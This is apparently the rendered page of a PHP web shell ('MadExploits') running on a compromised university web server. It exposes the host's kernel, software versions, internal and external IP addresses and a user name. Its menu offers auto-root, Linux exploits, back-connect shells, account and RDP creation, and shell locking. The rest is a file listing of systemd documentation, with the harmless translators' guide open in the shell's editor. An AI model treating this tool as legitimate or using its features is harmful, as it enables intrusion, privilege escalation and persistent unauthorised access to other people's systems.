Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.129.73.64
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
systemd /
[ HOME SHELL ]
Name
Size
Permission
Action
CODING_STYLE.md.gz
9.55
KB
-rw-r--r--
DISTRO_PORTING.md
3.24
KB
-rw-r--r--
ENVIRONMENT.md.gz
4.89
KB
-rw-r--r--
GVARIANT-SERIALIZATION.gz
1.73
KB
-rw-r--r--
HACKING.md.gz
2.68
KB
-rw-r--r--
NEWS.Debian.gz
652
B
-rw-r--r--
NEWS.gz
175.7
KB
-rw-r--r--
README.Debian.gz
2.02
KB
-rw-r--r--
README.gz
5.37
KB
-rw-r--r--
TRANSIENT-SETTINGS.md.gz
2.88
KB
-rw-r--r--
TRANSLATORS.md
2.38
KB
-rw-r--r--
UIDS-GIDS.md.gz
6.23
KB
-rw-r--r--
changelog.Debian.gz
3.66
KB
-rw-r--r--
copyright
10.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TRANSLATORS.md
--- title: Notes for Translators category: Contributing layout: default --- # Notes for Translators systemd depends on the `gettext` package for multilingual support. You'll find the i18n files in the `po/` directory. The build system (meson/ninja) can be used to generate a template (`*.pot`), which can be used to create new translations. It can also merge the template into the existing translations (`*.po`), to pick up new strings in need of translation. Finally, it is able to compile the translations (to `*.gmo` files), so that they can be used by systemd software. (This step is also useful to confirm the syntax of the `*.po` files is correct.) ## Creating a New Translation To create a translation to a language not yet available, start by creating the initial template: ``` $ ninja -C build/ systemd-pot ``` This will generate file `po/systemd.pot` in the source tree. Then simply copy it to a new <code><i>${lang_code}</i>.po</code> file, where <code><i>${lang_code}</i></code> is the two-letter code for a language (possibly followed by a two-letter uppercase country code), according to the ISO 639 standard. In short: <pre> $ cp po/systemd.pot po/<i>${lang_code}</i>.po </pre> Then edit the new <code>po/<i>${lang_code}</i>.po</code> file (for example, using the `poedit` GUI editor.) ## Updating an Existing Translation Start by updating the `*.po` files from the latest template: ``` $ ninja -C build/ systemd-update-po ``` This will touch all the `*.po` files, so you'll want to pay attention when creating a git commit from this change, to only include the one translation you're actually updating. Edit the `*.po` file, looking for empty translations and translations marked as "fuzzy" (which means the merger found a similar message that needs to be reviewed as it's expected not to match exactly.) You can use any text editor to update the `*.po` files, but a good choice is the `poedit` editor, a graphical application specifically designed for this purpose. Once you're done, create a git commit for the update of the `po/*.po` file you touched. Remember to undo the changes to the other `*.po` files (for instance, using `git checkout -- po/` after you commit the changes you do want to keep.) ## Recompiling Translations You can recompile the `*.po` files using the following command: ``` $ ninja -C build/ systemd-gmo ``` The resulting files will be saved in the `build/po/` directory.
Close